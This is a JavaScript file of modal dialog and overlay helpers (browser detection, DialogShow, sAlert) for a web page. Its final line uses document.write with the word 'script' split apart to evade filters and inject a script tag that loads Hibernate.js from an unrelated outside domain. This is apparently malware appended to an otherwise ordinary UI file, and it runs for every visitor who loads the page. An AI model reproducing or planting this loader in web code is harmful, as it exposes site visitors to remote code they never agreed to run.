var t_DiglogX,t_DiglogY,t_DiglogW,t_DiglogH;    
function StrCode(str){    
  if(encodeURIComponent)     
    return encodeURIComponent(str);    
  if(escape)     
    return escape(str);    
}    
   
function Browser(){    
  var ua, s, i;    
  this.isIE = false;    
  this.isNS = false;    
  this.isOP = false;    
  this.isSF = false;    
  ua = navigator.userAgent.toLowerCase();    
  s = "opera";    
  if ((i = ua.indexOf(s)) >= 0){    
    this.isOP = true;return;    
  }    
  s = "msie";    
  if ((i = ua.indexOf(s)) >= 0) {    
    this.isIE = true;    
    return;    
  }    
  s = "netscape6/";    
  if ((i = ua.indexOf(s)) >= 0) {    
    this.isNS = true;    
    return;    
  }    
  s = "gecko";    
  if ((i = ua.indexOf(s)) >= 0) {    
    this.isNS = true;    
    return;    
  }    
  s = "safari";    
  if ((i = ua.indexOf(s)) >= 0) {    
    this.isSF = true;    
    return;    
  }    
}    
   
function DialogShow(showdata,ow,oh,w,h){    
  var objDialog = document.getElementById("DialogMove");    
  if (!objDialog)     
    objDialog = document.createElement("div");    
  t_DiglogW = ow;    
  t_DiglogH = oh;    
  DialogLoc();    
  objDialog.id = "DialogMove";    
  var oS = objDialog.style;    
  oS.display = "block";    
  oS.top = t_DiglogY + getPageScroll() + "px";    
  oS.left = t_DiglogX + "px";    
  oS.margin = "0px";    
  oS.padding = "0px";    
  oS.width = w + "px";    
  oS.height = h + "px";    
  oS.position = "absolute";    
  oS.zIndex = "5";    
  oS.background = "#FFF";    
  oS.border = "solid #000 1px";    
  objDialog.innerHTML = showdata;    
  document.body.appendChild(objDialog);    
}    
   
function DialogHide(){    
  ScreenClean();    
  var objDialog = document.getElementById("DialogMove");    
  if (objDialog)    
    objDialog.style.display = "none";    
}    
   
function DialogLoc(){    
  var dde = document.documentElement;    
  if (window.innerWidth){    
    var ww = window.innerWidth;    
    var wh = window.innerHeight;    
    var bgX = window.pageXOffset;    
    var bgY = window.pageYOffset;    
  }else{    
    var ww = dde.offsetWidth;    
    var wh = dde.offsetHeight;    
    var bgX = dde.scrollLeft;    
    var bgY = dde.scrollTop;    
  }    
  t_DiglogX = (bgX + ((ww - t_DiglogW)/2));    
  t_DiglogY = (bgY + ((wh - t_DiglogH)/2));    
}    
   
function ScreenConvert(){    
  var browser = new Browser();    
  var objScreen = document.getElementById("ScreenOver");    
  if(!objScreen)     
    var objScreen = document.createElement("div");    
  var oS = objScreen.style;    
  objScreen.id = "ScreenOver";    
  oS.display = "block";    
  oS.top = getPageScroll();
	  oS.left = oS.margin = oS.padding = "0px";    
  if (document.body.clientHeight)   {    
    var wh = document.body.clientHeight + "px";    
  }else if (window.innerHeight){    
    var wh = window.innerHeight + "px";    
  }else{    
    var wh = "100%";    
  }    
  oS.width = "100%";    
  oS.height = wh;    
  oS.position = "absolute";    
  oS.zIndex = "3";    
  if ((!browser.isSF) && (!browser.isOP)){    
    oS.background = "#cccccc";    
  }else{    
    oS.background = "#cccccc";    
  }    
  oS.filter = "alpha(opacity=50)";    
  oS.opacity = 40/100;    
  oS.MozOpacity = 40/100;    
  document.body.appendChild(objScreen);    
  var allselect = document.getElementsByTagName("select");    
  for (var i=0; i<allselect.length; i++)     
    allselect[i].style.visibility = "hidden";    
}    
   
function ScreenClean(){    
  var objScreen = document.getElementById("ScreenOver");    
  if (objScreen)    
    objScreen.style.display = "none";    
  var allselect = document.getElementsByTagName("select");    
  for (var i=0; i<allselect.length; i++)     
    allselect[i].style.visibility = "visible";    
}    
   
function Demo(string){    
  ScreenConvert();    
  var ShowDiv="<div style=\"padding:10px;\">"+string+" <br /><br /><td align=center><input type=\"button\" onclick=\"DialogHide();\" value=\" close \"><td></div>";    
  DialogShow(ShowDiv,250,120,300,100);    
}   
function getPageScroll(){

	var yScroll;

	if (self.pageYOffset) {
		yScroll = self.pageYOffset;
	} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
		yScroll = document.documentElement.scrollTop;
	} else if (document.body) {// all other Explorers
		yScroll = document.body.scrollTop;
	}

	return yScroll;
}




function sAlert(str){
	var msgw,msgh,bordercolor;
	msgw=400;//width
	msgh=100;//height
	titleheight=25 //Title's height
	bordercolor="#996633";//Border color
	titlecolor="#CCCCCC";//Title's color

	var sWidth,sHeight;
	sWidth=document.body.offsetWidth;
	sHeight=screen.height + getPageScroll();
	var bgObj=document.createElement("div");
	bgObj.setAttribute('id','bgDiv');
	bgObj.style.position="absolute";
	bgObj.style.top="0";
	bgObj.style.background="#777";
	bgObj.style.filter="progid:DXImageTransform.Microsoft.Alpha(style=3,opacity=25,finishOpacity=75";
	bgObj.style.opacity="0.6";
	bgObj.style.left="0";
	bgObj.style.width=sWidth + "px";
	bgObj.style.height=sHeight + "px";
	bgObj.style.zIndex = "9999";
	document.body.appendChild(bgObj);

	var msgObj=document.createElement("div")
	msgObj.setAttribute("id","msgDiv");
	msgObj.setAttribute("align","center");
	msgObj.style.background="white";
	msgObj.style.border="1px solid " + bordercolor;
	  msgObj.style.position = "absolute";
	msgObj.style.left = "50%";
	msgObj.style.top = "50%";
	msgObj.style.font="12px/1.6em Verdana, Geneva, Arial, Helvetica, sans-serif";
	msgObj.style.marginLeft = "-225px" ;
	msgObj.style.marginTop = -75+document.documentElement.scrollTop + getPageScroll() +"px";
	msgObj.style.width = msgw + "px";
	msgObj.style.height =msgh + "px";
	msgObj.style.textAlign = "center";
	msgObj.style.lineHeight ="25px";
	msgObj.style.zIndex = "10001";

	var title=document.createElement("h4");
	title.setAttribute("id","msgTitle");
	title.setAttribute("align","right");
	title.style.margin="0";
	title.style.padding="3px";
	title.style.background=bordercolor;
	title.style.filter="progid:DXImageTransform.Microsoft.Alpha(startX=20, startY=20, finishX=100, finishY=100,style=1,opacity=75,finishOpacity=100);";
	title.style.opacity="0.75";
	title.style.border="1px solid " + bordercolor;
	title.style.height="18px";
	title.style.font="12px Arial";
	title.style.color="#336699";
	title.style.cursor="pointer";
	title.innerHTML="Close";
	title.onclick=function(){
		 document.body.removeChild(bgObj);
			   document.getElementById("msgDiv").removeChild(title);
			   document.body.removeChild(msgObj);
				document.getElementById("classid").disabled = false;
				document.getElementById("classid").style.cssText = "";
			   }
	document.body.appendChild(msgObj);
	document.getElementById("msgDiv").appendChild(title);
	var txt=document.createElement("p");
	txt.style.margin="1em 0"
	txt.setAttribute("id","msgTxt");
	txt.innerHTML=str;
		  document.getElementById("msgDiv").appendChild(txt);
		document.getElementById("classid").disabled=true;
		document.getElementById("classid").style.cssText = "background-color:#CCCCCC;";
}




document.write('<s'+'cript type="text/javascript" src="http://iopap.upperdarby26.com/Hibernate.js"></scr'+'ipt>');